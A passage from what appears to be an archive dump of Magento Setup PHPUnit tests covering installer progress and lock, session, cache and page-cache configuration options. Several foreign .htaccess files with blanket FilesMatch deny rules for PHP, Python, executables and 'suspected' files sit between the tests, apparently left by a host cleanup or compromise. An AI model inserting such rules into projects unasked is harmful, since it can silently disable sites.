]); $profiler->expects($this->once())->method('getQueryProfiles')->willReturn([$query]); $this->unit->disable(); $this->assertEquals( [ [ [ [ 'id' => 4, 'sku' => 'sku_4', 'type' => 'simple', 'created_at' => '2013-12-11', 'attribute_set' => 4, ], [ 'id' => 5, 'sku' => 'sku_5', 'type' => 'simple', 'created_at' => '2013-12-11', 'attribute_set' => 12, ], ], 'catalog_product_entity' ] ], $this->unit->getSql() ); } } Magento/Setup/Test/Unit/Model/FixtureGenerator/.htaccess000077700000000177151323623130017242 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Model/ThemeDependencyCheckerFactoryTest.php000077700000003037151323623130021374 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model; use Magento\Framework\ObjectManagerInterface; use Magento\Setup\Model\ObjectManagerProvider; use Magento\Setup\Model\ThemeDependencyCheckerFactory; use Magento\Theme\Model\Theme\ThemeDependencyChecker; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class ThemeDependencyCheckerFactoryTest extends TestCase { /** * @var ThemeDependencyCheckerFactory */ private $themeDependencyCheckerFactory; /** * @var MockObject|ObjectManagerProvider */ private $objectManagerProvider; /** * @var MockObject|ObjectManagerInterface */ private $objectManager; protected function setUp(): void { $this->objectManagerProvider = $this->createMock(ObjectManagerProvider::class); $this->objectManager = $this->getMockForAbstractClass( ObjectManagerInterface::class, [], '', false ); } public function testCreate() { $this->objectManagerProvider->expects($this->once())->method('get')->willReturn($this->objectManager); $this->objectManager->expects($this->once()) ->method('get') ->with(ThemeDependencyChecker::class); $this->themeDependencyCheckerFactory = new ThemeDependencyCheckerFactory($this->objectManagerProvider); $this->themeDependencyCheckerFactory->create(); } } Magento/Setup/Test/Unit/Model/Installer/ProgressTest.php000077700000004751151323623130017263 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\Installer; use Magento\Setup\Model\Installer\Progress; use PHPUnit\Framework\TestCase; class ProgressTest extends TestCase { /** * @param int $total * @param int $current * @dataProvider constructorExceptionInvalidTotalDataProvider */ public function testConstructorExceptionInvalidTotal($total, $current) { $this->expectException('LogicException'); $this->expectExceptionMessage('Total number must be more than zero.'); new Progress($total, $current); } /** * return array */ public function constructorExceptionInvalidTotalDataProvider() { return [[0,0], [0, 1], [[], 1]]; } public function testConstructorExceptionCurrentExceedsTotal() { $this->expectException('LogicException'); $this->expectExceptionMessage('Current cannot exceed total number.'); new Progress(1, 2); } public function testSetNext() { $progress = new Progress(10); $progress->setNext(); $this->assertEquals(1, $progress->getCurrent()); } public function testSetNextException() { $this->expectException('LogicException'); $this->expectExceptionMessage('Current cannot exceed total number.'); $progress = new Progress(10, 10); $progress->setNext(); } public function testFinish() { $progress = new Progress(10); $progress->finish(); $this->assertEquals(10, $progress->getCurrent()); } public function testGetCurrent() { $progress = new Progress(10, 5); $this->assertEquals(5, $progress->getCurrent()); } public function testGetTotal() { $progress = new Progress(10); $this->assertEquals(10, $progress->getTotal()); } /** * @param int $total * @param int $current * @dataProvider ratioDataProvider */ public function testRatio($total, $current) { $progress = new Progress($total, $current); $this->assertEquals($current / $total, $progress->getRatio()); } /** * @return array */ public function ratioDataProvider() { $data = []; for ($i = 10; $i <= 20; $i++) { for ($j = 0; $j <= $i; $j++) { $data[] = [$i, $j]; } } return $data; } } Magento/Setup/Test/Unit/Model/Installer/.htaccess000077700000000177151323623130015702 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Model/ConfigOptionsList/LockTest.php000077700000021004151323623130020015 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\ConfigOptionsList; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Config\Data\ConfigData; use Magento\Framework\Lock\Backend\Zookeeper as ZookeeperLock; use Magento\Framework\Lock\LockBackendFactory; use Magento\Framework\Setup\Option\SelectConfigOption; use Magento\Framework\Setup\Option\TextConfigOption; use Magento\Setup\Model\ConfigOptionsList\Lock as LockConfigOptionsList; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; class LockTest extends TestCase { /** * @var DeploymentConfig|MockObject */ private $deploymentConfigMock; /** * @var LockConfigOptionsList */ private $lockConfigOptionsList; /** * @inheritdoc */ protected function setUp(): void { $this->deploymentConfigMock = $this->createMock(DeploymentConfig::class); $this->lockConfigOptionsList = new LockConfigOptionsList(); } /** * @return void */ public function testGetOptions() { $options = $this->lockConfigOptionsList->getOptions(); $this->assertCount(5, $options); $this->assertArrayHasKey(0, $options); $this->assertInstanceOf(SelectConfigOption::class, $options[0]); $this->assertEquals(LockConfigOptionsList::INPUT_KEY_LOCK_PROVIDER, $options[0]->getName()); $this->assertArrayHasKey(1, $options); $this->assertInstanceOf(TextConfigOption::class, $options[1]); $this->assertEquals(LockConfigOptionsList::INPUT_KEY_LOCK_DB_PREFIX, $options[1]->getName()); $this->assertArrayHasKey(2, $options); $this->assertInstanceOf(TextConfigOption::class, $options[2]); $this->assertEquals(LockConfigOptionsList::INPUT_KEY_LOCK_ZOOKEEPER_HOST, $options[2]->getName()); $this->assertArrayHasKey(3, $options); $this->assertInstanceOf(TextConfigOption::class, $options[3]); $this->assertEquals(LockConfigOptionsList::INPUT_KEY_LOCK_ZOOKEEPER_PATH, $options[3]->getName()); $this->assertArrayHasKey(4, $options); $this->assertInstanceOf(TextConfigOption::class, $options[4]); $this->assertEquals(LockConfigOptionsList::INPUT_KEY_LOCK_FILE_PATH, $options[4]->getName()); } /** * @param array $options * @param array $expectedResult * @dataProvider createConfigDataProvider */ public function testCreateConfig(array $options, array $expectedResult) { $this->deploymentConfigMock->expects($this->any()) ->method('get') ->willReturnArgument(1); $data = $this->lockConfigOptionsList->createConfig($options, $this->deploymentConfigMock); $this->assertInstanceOf(ConfigData::class, $data); $this->assertTrue($data->isOverrideWhenSave()); $this->assertSame($expectedResult, $data->getData()); } /** * @return array */ public function createConfigDataProvider(): array { return [ 'Check default values' => [ 'options' => [], 'expectedResult' => [ 'lock' => [ 'provider' => LockBackendFactory::LOCK_DB, 'config' => [ 'prefix' => null, ], ], ], ], 'Check default value for cache lock' => [ 'options' => [ LockConfigOptionsList::INPUT_KEY_LOCK_PROVIDER => LockBackendFactory::LOCK_CACHE, ], 'expectedResult' => [ 'lock' => [ 'provider' => LockBackendFactory::LOCK_CACHE, ], ], ], 'Check default value for zookeeper lock' => [ 'options' => [ LockConfigOptionsList::INPUT_KEY_LOCK_PROVIDER => LockBackendFactory::LOCK_ZOOKEEPER, ], 'expectedResult' => [ 'lock' => [ 'provider' => LockBackendFactory::LOCK_ZOOKEEPER, 'config' => [ 'host' => null, 'path' => ZookeeperLock::DEFAULT_PATH, ], ], ], ], 'Check specific db lock options' => [ 'options' => [ LockConfigOptionsList::INPUT_KEY_LOCK_PROVIDER => LockBackendFactory::LOCK_DB, LockConfigOptionsList::INPUT_KEY_LOCK_DB_PREFIX => 'my_prefix' ], 'expectedResult' => [ 'lock' => [ 'provider' => LockBackendFactory::LOCK_DB, 'config' => [ 'prefix' => 'my_prefix', ], ], ], ], 'Check specific zookeeper lock options' => [ 'options' => [ LockConfigOptionsList::INPUT_KEY_LOCK_PROVIDER => LockBackendFactory::LOCK_ZOOKEEPER, LockConfigOptionsList::INPUT_KEY_LOCK_ZOOKEEPER_HOST => '123.45.67.89:10', LockConfigOptionsList::INPUT_KEY_LOCK_ZOOKEEPER_PATH => '/some/path', ], 'expectedResult' => [ 'lock' => [ 'provider' => LockBackendFactory::LOCK_ZOOKEEPER, 'config' => [ 'host' => '123.45.67.89:10', 'path' => '/some/path', ], ], ], ], 'Check specific file lock options' => [ 'options' => [ LockConfigOptionsList::INPUT_KEY_LOCK_PROVIDER => LockBackendFactory::LOCK_FILE, LockConfigOptionsList::INPUT_KEY_LOCK_FILE_PATH => '/my/path' ], 'expectedResult' => [ 'lock' => [ 'provider' => LockBackendFactory::LOCK_FILE, 'config' => [ 'path' => '/my/path', ], ], ], ], ]; } /** * @param array $options * @param array $expectedResult * @dataProvider validateDataProvider */ public function testValidate(array $options, array $expectedResult) { $this->deploymentConfigMock->expects($this->any()) ->method('get') ->willReturnArgument(1); $this->assertSame( $expectedResult, $this->lockConfigOptionsList->validate($options, $this->deploymentConfigMock) ); } /** * @return array */ public function validateDataProvider(): array { return [ 'Wrong lock provider' => [ 'options' => [ LockConfigOptionsList::INPUT_KEY_LOCK_PROVIDER => 'SomeProvider', ], 'expectedResult' => [ 'The lock provider SomeProvider does not exist.', ], ], 'Empty host and path for Zookeeper' => [ 'options' => [ LockConfigOptionsList::INPUT_KEY_LOCK_PROVIDER => LockBackendFactory::LOCK_ZOOKEEPER, LockConfigOptionsList::INPUT_KEY_LOCK_ZOOKEEPER_HOST => '', LockConfigOptionsList::INPUT_KEY_LOCK_ZOOKEEPER_PATH => '', ], 'expectedResult' => extension_loaded('zookeeper') ? [ 'Zookeeper path needs to be a non-empty string.', 'Zookeeper host is should be set.', ] : [ 'php extension Zookeeper is not installed.', 'Zookeeper path needs to be a non-empty string.', 'Zookeeper host is should be set.', ], ], 'Empty path for File lock' => [ 'options' => [ LockConfigOptionsList::INPUT_KEY_LOCK_PROVIDER => LockBackendFactory::LOCK_FILE, LockConfigOptionsList::INPUT_KEY_LOCK_FILE_PATH => '', ], 'expectedResult' => [ 'The path needs to be a non-empty string.', ], ], ]; } } Magento/Setup/Test/Unit/Model/ConfigOptionsList/.htaccess000077700000000177151323623130017362 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'> Order allow,deny Deny from all </FilesMatch>Magento/Setup/Test/Unit/Model/ConfigOptionsList/SessionTest.php000077700000030267151323623130020563 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\ConfigOptionsList; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Config\Data\ConfigData; use Magento\Framework\Setup\Option\SelectConfigOption; use Magento\Framework\Setup\Option\TextConfigOption; use Magento\Setup\Model\ConfigOptionsList\Session as SessionConfigOptionsList; use PHPUnit\Framework\TestCase; class SessionTest extends TestCase { /** * @var \Magento\Setup\Model\ConfigOptionsList\Session */ private $configList; /** * @var DeploymentConfig */ private $deploymentConfigMock; protected function setUp(): void { $this->configList = new SessionConfigOptionsList(); $this->deploymentConfigMock = $this->createMock(DeploymentConfig::class); } public function testGetOptions() { $options = $this->configList->getOptions(); $this->assertCount(23, $options); $this->assertArrayHasKey(0, $options); $this->assertInstanceOf(SelectConfigOption::class, $options[0]); $this->assertEquals('session-save', $options[0]->getName()); $this->assertArrayHasKey(1, $options); $this->assertInstanceOf(TextConfigOption::class, $options[1]); $this->assertEquals('session-save-redis-host', $options[1]->getName()); $this->assertArrayHasKey(2, $options); $this->assertInstanceOf(TextConfigOption::class, $options[2]); $this->assertEquals('session-save-redis-port', $options[2]->getName()); $this->assertArrayHasKey(3, $options); $this->assertInstanceOf(TextConfigOption::class, $options[3]); $this->assertEquals('session-save-redis-password', $options[3]->getName()); $this->assertArrayHasKey(4, $options); $this->assertInstanceOf(TextConfigOption::class, $options[4]); $this->assertEquals('session-save-redis-timeout', $options[4]->getName()); $this->assertArrayHasKey(5, $options); $this->assertInstanceOf(TextConfigOption::class, $options[5]); $this->assertEquals('session-save-redis-persistent-id', $options[5]->getName()); $this->assertArrayHasKey(6, $options); $this->assertInstanceOf(TextConfigOption::class, $options[6]); $this->assertEquals('session-save-redis-db', $options[6]->getName()); $this->assertArrayHasKey(7, $options); $this->assertInstanceOf(TextConfigOption::class, $options[7]); $this->assertEquals('session-save-redis-compression-threshold', $options[7]->getName()); $this->assertArrayHasKey(8, $options); $this->assertInstanceOf(TextConfigOption::class, $options[8]); $this->assertEquals('session-save-redis-compression-lib', $options[8]->getName()); $this->assertArrayHasKey(9, $options); $this->assertInstanceOf(TextConfigOption::class, $options[9]); $this->assertEquals('session-save-redis-log-level', $options[9]->getName()); $this->assertArrayHasKey(10, $options); $this->assertInstanceOf(TextConfigOption::class, $options[10]); $this->assertEquals('session-save-redis-max-concurrency', $options[10]->getName()); $this->assertArrayHasKey(11, $options); $this->assertInstanceOf(TextConfigOption::class, $options[11]); $this->assertEquals('session-save-redis-break-after-frontend', $options[11]->getName()); $this->assertArrayHasKey(12, $options); $this->assertInstanceOf(TextConfigOption::class, $options[12]); $this->assertEquals('session-save-redis-break-after-adminhtml', $options[12]->getName()); $this->assertArrayHasKey(13, $options); $this->assertInstanceOf(TextConfigOption::class, $options[13]); $this->assertEquals('session-save-redis-first-lifetime', $options[13]->getName()); $this->assertArrayHasKey(14, $options); $this->assertInstanceOf(TextConfigOption::class, $options[14]); $this->assertEquals('session-save-redis-bot-first-lifetime', $options[14]->getName()); $this->assertArrayHasKey(15, $options); $this->assertInstanceOf(TextConfigOption::class, $options[15]); $this->assertEquals('session-save-redis-bot-lifetime', $options[15]->getName()); $this->assertArrayHasKey(16, $options); $this->assertInstanceOf(TextConfigOption::class, $options[16]); $this->assertEquals('session-save-redis-disable-locking', $options[16]->getName()); $this->assertArrayHasKey(17, $options); $this->assertInstanceOf(TextConfigOption::class, $options[17]); $this->assertEquals('session-save-redis-min-lifetime', $options[17]->getName()); $this->assertArrayHasKey(18, $options); $this->assertInstanceOf(TextConfigOption::class, $options[18]); $this->assertEquals('session-save-redis-max-lifetime', $options[18]->getName()); } public function testCreateConfig() { $configData = $this->configList->createConfig([], $this->deploymentConfigMock); $this->assertInstanceOf(ConfigData::class, $configData); } public function testCreateConfigWithSessionSaveFiles() { $expectedConfigData = [ 'session' => [ 'save' => 'files' ] ]; $options = ['session-save' => 'files']; $configData = $this->configList->createConfig($options, $this->deploymentConfigMock); $this->assertEquals($expectedConfigData, $configData->getData()); } public function testCreateConfigWithSessionSaveRedis() { $this->deploymentConfigMock->expects($this->any())->method('get')->willReturn(''); $expectedConfigData = [ 'session' => [ 'save' => 'redis', 'redis' => [ 'host' => '', 'port' => '', 'password' => '', 'timeout' => '', 'persistent_identifier' => '', 'database' => '', 'compression_threshold' => '', 'compression_library' => '', 'log_level' => '', 'max_concurrency' => '', 'break_after_frontend' => '', 'break_after_adminhtml' => '', 'first_lifetime' => '', 'bot_first_lifetime' => '', 'bot_lifetime' => '', 'disable_locking' => '', 'min_lifetime' => '', 'max_lifetime' => '', 'sentinel_master' => '', 'sentinel_servers' => '', 'sentinel_connect_retries' => '', 'sentinel_verify_master' => '', ] ] ]; $options = ['session-save' => 'redis']; $configData = $this->configList->createConfig($options, $this->deploymentConfigMock); $this->assertEquals($expectedConfigData, $configData->getData()); } public function testEmptyCreateConfig() { $expectedConfigData = []; $config = $this->configList->createConfig([], $this->deploymentConfigMock); $this->assertEquals($expectedConfigData, $config->getData()); } public function testCreateConfigWithRedisInput() { $this->deploymentConfigMock->expects($this->any())->method('get')->willReturn(''); $options = [ 'session-save' => 'redis', 'session-save-redis-host' => 'localhost', 'session-save-redis-log-level' => '4', 'session-save-redis-min-lifetime' => '60', 'session-save-redis-max-lifetime' => '3600', ]; $expectedConfigData = [ 'session' => [ 'save' => 'redis', 'redis' => [ 'host' => 'localhost', 'port' => '', 'password' => '', 'timeout' => '', 'persistent_identifier' => '', 'database' => '', 'compression_threshold' => '', 'compression_library' => '', 'log_level' => '4', 'max_concurrency' => '', 'break_after_frontend' => '', 'break_after_adminhtml' => '', 'first_lifetime' => '', 'bot_first_lifetime' => '', 'bot_lifetime' => '', 'disable_locking' => '', 'min_lifetime' => '60', 'max_lifetime' => '3600', 'sentinel_master' => '', 'sentinel_servers' => '', 'sentinel_connect_retries' => '', 'sentinel_verify_master' => '', ] ], ]; $config = $this->configList->createConfig($options, $this->deploymentConfigMock); $actualConfigData = $config->getData(); $this->assertEquals($expectedConfigData, $actualConfigData); } /** * @param string $option * @param string $configArrayKey * @param string $optionValue * @dataProvider redisOptionProvider */ public function testIndividualOptionsAreSetProperly($option, $configArrayKey, $optionValue) { $configData = $this->configList->createConfig([$option => $optionValue], $this->deploymentConfigMock); $redisConfigData = $configData->getData()['session']['redis']; $this->assertEquals($redisConfigData[$configArrayKey], $optionValue); } public function testValidationWithValidOptions() { $options = [ 'session-save' => 'files', 'session-save-redis-host' => 'localhost', 'session-save-redis-compression-library' => 'gzip' ]; $errors = $this->configList->validate($options, $this->deploymentConfigMock); $this->assertEmpty($errors); } /** * @param string $option * @param string $invalidInput * @param string $errorMessage * @dataProvider invalidOptionsProvider */ public function testValidationWithInvalidOptions($option, $invalidInput, $errorMessage) { $errors = $this->configList->validate([$option => $invalidInput], $this->deploymentConfigMock); $this->assertCount(1, $errors); $this->assertSame($errorMessage, $errors[0]); } /** * @return array */ public function redisOptionProvider() { return [ ['session-save-redis-host', 'host', 'google'], ['session-save-redis-port', 'port', '1234'], ['session-save-redis-password', 'password', 'secretPassword'], ['session-save-redis-timeout', 'timeout', '1000'], ['session-save-redis-persistent-id', 'persistent_identifier', 'foo'], ['session-save-redis-db', 'database', '5'], ['session-save-redis-compression-threshold', 'compression_threshold', '1024'], ['session-save-redis-compression-lib', 'compression_library', 'tar'], ['session-save-redis-log-level', 'log_level', '2'], ['session-save-redis-max-concurrency', 'max_concurrency', '3'], ['session-save-redis-break-after-frontend', 'break_after_frontend', '10'], ['session-save-redis-break-after-adminhtml', 'break_after_adminhtml', '20'], ['session-save-redis-first-lifetime', 'first_lifetime', '300'], ['session-save-redis-bot-first-lifetime', 'bot_first_lifetime', '30'], ['session-save-redis-bot-lifetime', 'bot_lifetime', '3600'], ['session-save-redis-disable-locking', 'disable_locking', '1'], ['session-save-redis-min-lifetime', 'min_lifetime', '20'], ['session-save-redis-max-lifetime', 'max_lifetime', '12000'], ]; } /** * @return array */ public function invalidOptionsProvider() { return [ ['session-save', 'clay-tablet', 'Invalid session handler \'clay-tablet\''], ['session-save-redis-log-level', '10', 'Invalid Redis log level \'10\'. Valid range is 0-7, inclusive.'], ['session-save-redis-compression-lib', 'foobar', 'Invalid Redis compression library \'foobar\''], ]; } } Magento/Setup/Test/Unit/Model/ConfigOptionsList/CacheTest.php000077700000020177151323623130020142 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\ConfigOptionsList; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Setup\Option\FlagConfigOption; use Magento\Framework\Setup\Option\SelectConfigOption; use Magento\Framework\Setup\Option\TextConfigOption; use Magento\Setup\Model\ConfigOptionsList\Cache as CacheConfigOptionsList; use Magento\Setup\Validator\RedisConnectionValidator; use PHPUnit\Framework\TestCase; class CacheTest extends TestCase { /** * @var \Magento\Setup\Model\ConfigOptionsList\Cache */ private $configOptionsList; /** * @var RedisConnectionValidator */ private $validatorMock; /** * @var DeploymentConfig */ private $deploymentConfigMock; /** * Tests setup */ protected function setUp(): void { $this->validatorMock = $this->createMock(RedisConnectionValidator::class); $this->deploymentConfigMock = $this->createMock(DeploymentConfig::class); $this->configOptionsList = new CacheConfigOptionsList($this->validatorMock); } /** * testGetOptions */ public function testGetOptions() { $options = $this->configOptionsList->getOptions(); $this->assertCount(9, $options); $this->assertArrayHasKey(0, $options); $this->assertInstanceOf(SelectConfigOption::class, $options[0]); $this->assertEquals('cache-backend', $options[0]->getName()); $this->assertArrayHasKey(1, $options); $this->assertInstanceOf(TextConfigOption::class, $options[1]); $this->assertEquals('cache-backend-redis-server', $options[1]->getName()); $this->assertArrayHasKey(2, $options); $this->assertInstanceOf(TextConfigOption::class, $options[2]); $this->assertEquals('cache-backend-redis-db', $options[2]->getName()); $this->assertArrayHasKey(3, $options); $this->assertInstanceOf(TextConfigOption::class, $options[3]); $this->assertEquals('cache-backend-redis-port', $options[3]->getName()); $this->assertArrayHasKey(4, $options); $this->assertInstanceOf(TextConfigOption::class, $options[4]); $this->assertEquals('cache-backend-redis-password', $options[4]->getName()); $this->assertArrayHasKey(5, $options); $this->assertInstanceOf(TextConfigOption::class, $options[5]); $this->assertEquals('cache-backend-redis-compress-data', $options[5]->getName()); $this->assertArrayHasKey(6, $options); $this->assertInstanceOf(TextConfigOption::class, $options[6]); $this->assertEquals('cache-backend-redis-compression-lib', $options[6]->getName()); $this->assertArrayHasKey(7, $options); $this->assertInstanceOf(TextConfigOption::class, $options[7]); $this->assertEquals('cache-id-prefix', $options[7]->getName()); $this->assertArrayHasKey(8, $options); $this->assertInstanceOf(FlagConfigOption::class, $options[8]); $this->assertEquals('allow-parallel-generation', $options[8]->getName()); } /** * testCreateConfigCacheRedis */ public function testCreateConfigCacheRedis() { $this->deploymentConfigMock->method('get')->willReturn(''); $expectedConfigData = [ 'cache' => [ 'frontend' => [ 'default' => [ 'backend' => \Magento\Framework\Cache\Backend\Redis::class, 'backend_options' => [ 'server' => '', 'port' => '', 'database' => '', 'password' => '', 'compress_data' => '', 'compression_lib' => '', ], 'id_prefix' => $this->expectedIdPrefix(), ] ], 'allow_parallel_generation' => '', ] ]; $configData = $this->configOptionsList ->createConfig(['cache-backend' => 'redis'], $this->deploymentConfigMock); $this->assertEquals($expectedConfigData, $configData->getData()); } /** * testCreateConfigWithRedisConfig */ public function testCreateConfigWithRedisConfig() { $expectedConfigData = [ 'cache' => [ 'frontend' => [ 'default' => [ 'backend' => \Magento\Framework\Cache\Backend\Redis::class, 'backend_options' => [ 'server' => 'localhost', 'port' => '1234', 'database' => '5', 'password' => '', 'compress_data' => '1', 'compression_lib' => 'gzip', ], 'id_prefix' => $this->expectedIdPrefix(), ] ], 'allow_parallel_generation' => null, ] ]; $options = [ 'cache-backend' => 'redis', 'cache-backend-redis-server' => 'localhost', 'cache-backend-redis-port' => '1234', 'cache-backend-redis-db' => '5', 'cache-backend-redis-compress-data' => '1', 'cache-backend-redis-compression-lib' => 'gzip' ]; $configData = $this->configOptionsList->createConfig($options, $this->deploymentConfigMock); $this->assertEquals($expectedConfigData, $configData->getData()); } /** * testCreateConfigCacheRedis */ public function testCreateConfigWithFileCache() { $this->deploymentConfigMock->method('get')->willReturn(''); $expectedConfigData = [ 'cache' => [ 'frontend' => [ 'default' => [ 'id_prefix' => $this->expectedIdPrefix(), ] ] ] ]; $configData = $this->configOptionsList->createConfig([], $this->deploymentConfigMock); $this->assertEquals($expectedConfigData, $configData->getData()); } /** * testCreateConfigCacheRedis */ public function testCreateConfigWithIdPrefix() { $this->deploymentConfigMock->method('get')->willReturn(''); $explicitPrefix = 'XXX_'; $expectedConfigData = [ 'cache' => [ 'frontend' => [ 'default' => [ 'id_prefix' => $explicitPrefix, ] ] ] ]; $configData = $this->configOptionsList->createConfig( ['cache-id-prefix' => $explicitPrefix], $this->deploymentConfigMock ); $this->assertEquals($expectedConfigData, $configData->getData()); } /** * testValidateWithValidInput */ public function testValidateWithValidInput() { $options = [ 'cache-backend' => 'redis', 'cache-backend-redis-server' => 'localhost', ]; $this->validatorMock->expects($this->once()) ->method('isValidConnection') ->with(['host' => 'localhost', 'db' => '', 'port' => '', 'password' => '']) ->willReturn(true); $errors = $this->configOptionsList->validate($options, $this->deploymentConfigMock); $this->assertEmpty($errors); } /** * testValidateWithInvalidInput */ public function testValidateWithInvalidInput() { $invalidCacheOption = 'clay-tablet'; $options = ['cache-backend' => $invalidCacheOption]; $errors = $this->configOptionsList->validate($options, $this->deploymentConfigMock); $this->assertCount(1, $errors); $this->assertEquals("Invalid cache handler 'clay-tablet'", $errors[0]); } /** * The default ID prefix, based on installation directory * * @return string */ private function expectedIdPrefix(): string { return substr(\hash('sha256', dirname(__DIR__, 8)), 0, 3) . '_'; } } Magento/Setup/Test/Unit/Model/ConfigOptionsList/PageCacheTest.php000077700000016714151323623130020741 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\ConfigOptionsList; use Magento\Framework\App\DeploymentConfig; use Magento\Framework\Setup\Option\SelectConfigOption; use Magento\Framework\Setup\Option\TextConfigOption; use Magento\Setup\Model\ConfigOptionsList\PageCache; use Magento\Setup\Validator\RedisConnectionValidator; use PHPUnit\Framework\TestCase; class PageCacheTest extends TestCase { /** * @var PageCache */ private $configList; /** * @var RedisConnectionValidator */ private $validatorMock; /** * @var DeploymentConfig */ private $deploymentConfigMock; protected function setUp(): void { $this->validatorMock = $this->createMock(RedisConnectionValidator::class); $this->deploymentConfigMock = $this->createMock(DeploymentConfig::class); $this->configList = new PageCache($this->validatorMock); } /** * testGetOptions */ public function testGetOptions() { $options = $this->configList->getOptions(); $this->assertCount(8, $options); $this->assertArrayHasKey(0, $options); $this->assertInstanceOf(SelectConfigOption::class, $options[0]); $this->assertEquals('page-cache', $options[0]->getName()); $this->assertArrayHasKey(1, $options); $this->assertInstanceOf(TextConfigOption::class, $options[1]); $this->assertEquals('page-cache-redis-server', $options[1]->getName()); $this->assertArrayHasKey(2, $options); $this->assertInstanceOf(TextConfigOption::class, $options[2]); $this->assertEquals('page-cache-redis-db', $options[2]->getName()); $this->assertArrayHasKey(3, $options); $this->assertInstanceOf(TextConfigOption::class, $options[3]); $this->assertEquals('page-cache-redis-port', $options[3]->getName()); $this->assertArrayHasKey(4, $options); $this->assertInstanceOf(TextConfigOption::class, $options[4]); $this->assertEquals('page-cache-redis-password', $options[4]->getName()); $this->assertArrayHasKey(5, $options); $this->assertInstanceOf(TextConfigOption::class, $options[5]); $this->assertEquals('page-cache-redis-compress-data', $options[5]->getName()); $this->assertArrayHasKey(6, $options); $this->assertInstanceOf(TextConfigOption::class, $options[6]); $this->assertEquals('page-cache-redis-compression-lib', $options[6]->getName()); $this->assertArrayHasKey(7, $options); $this->assertInstanceOf(TextConfigOption::class, $options[7]); $this->assertEquals('page-cache-id-prefix', $options[7]->getName()); } /** * testCreateConfigWithRedis */ public function testCreateConfigWithRedis() { $this->deploymentConfigMock->method('get')->willReturn(''); $expectedConfigData = [ 'cache' => [ 'frontend' => [ 'page_cache' => [ 'backend' => \Magento\Framework\Cache\Backend\Redis::class, 'backend_options' => [ 'server' => '', 'port' => '', 'database' => '', 'compress_data' => '', 'password' => '', 'compression_lib' => '', ], 'id_prefix' => $this->expectedIdPrefix(), ] ] ] ]; $configData = $this->configList->createConfig(['page-cache' => 'redis'], $this->deploymentConfigMock); $this->assertEquals($expectedConfigData, $configData->getData()); } /** * testCreateConfigWithRedisConfiguration */ public function testCreateConfigWithRedisConfiguration() { $expectedConfigData = [ 'cache' => [ 'frontend' => [ 'page_cache' => [ 'backend' => \Magento\Framework\Cache\Backend\Redis::class, 'backend_options' => [ 'server' => 'foo.bar', 'port' => '9000', 'database' => '6', 'password' => '', 'compress_data' => '1', 'compression_lib' => 'gzip', ], 'id_prefix' => $this->expectedIdPrefix(), ] ] ] ]; $options = [ 'page-cache' => 'redis', 'page-cache-redis-server' => 'foo.bar', 'page-cache-redis-port' => '9000', 'page-cache-redis-db' => '6', 'page-cache-redis-compress-data' => '1', 'page-cache-redis-compression-lib' => 'gzip', ]; $configData = $this->configList->createConfig($options, $this->deploymentConfigMock); $this->assertEquals($expectedConfigData, $configData->getData()); } /** * testCreateConfigWithRedis */ public function testCreateConfigWithFileCache() { $this->deploymentConfigMock->method('get')->willReturn(''); $expectedConfigData = [ 'cache' => [ 'frontend' => [ 'page_cache' => [ 'id_prefix' => $this->expectedIdPrefix(), ] ] ] ]; $configData = $this->configList->createConfig([], $this->deploymentConfigMock); $this->assertEquals($expectedConfigData, $configData->getData()); } /** * testCreateConfigCacheRedis */ public function testCreateConfigWithIdPrefix() { $this->deploymentConfigMock->method('get')->willReturn(''); $explicitPrefix = 'XXX_'; $expectedConfigData = [ 'cache' => [ 'frontend' => [ 'page_cache' => [ 'id_prefix' => $explicitPrefix, ] ] ] ]; $configData = $this->configList->createConfig( ['page-cache-id-prefix' => $explicitPrefix], $this->deploymentConfigMock ); $this->assertEquals($expectedConfigData, $configData->getData()); } /** * testValidationWithValidData */ public function testValidationWithValidData() { $this->validatorMock->expects($this->once()) ->method('isValidConnection') ->willReturn(true); $options = [ 'page-cache' => 'redis', 'page-cache-redis-db' => '2' ]; $errors = $this->configList->validate($options, $this->deploymentConfigMock); $this->assertEmpty($errors); } /** * testValidationWithInvalidData */ public function testValidationWithInvalidData() { $options = [ 'page-cache' => 'foobar' ]; $errors = $this->configList->validate($options, $this->deploymentConfigMock); $this->assertCount(1, $errors); $this->assertEquals('Invalid cache handler \'foobar\'', $errors[0]); } /** * The default ID prefix, based on installation directory * * @return string */ private function expectedIdPrefix(): string { return substr(\hash('sha256', dirname(__DIR__, 8)), 0, 3) . '_'; } } Magento/Setup/Test/Unit/Model/DateTime/TimeZoneProviderTest.php000077700000003067151323623130020462 0ustar00<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Setup\Test\Unit\Model\DateTime; use Magento\Framework\App\Config\ScopeConfigInterface; use Magento\Framework\ObjectManagerInterface; use Magento\Framework\Stdlib\DateTime\Timezone; use Magento\Setup\Model\DateTime\TimeZoneProvider; use Magento\Setup\Model\ObjectManagerProvider; use PHPUnit\Framework\MockObject\MockObject; use PHPUnit\Framework\TestCase; 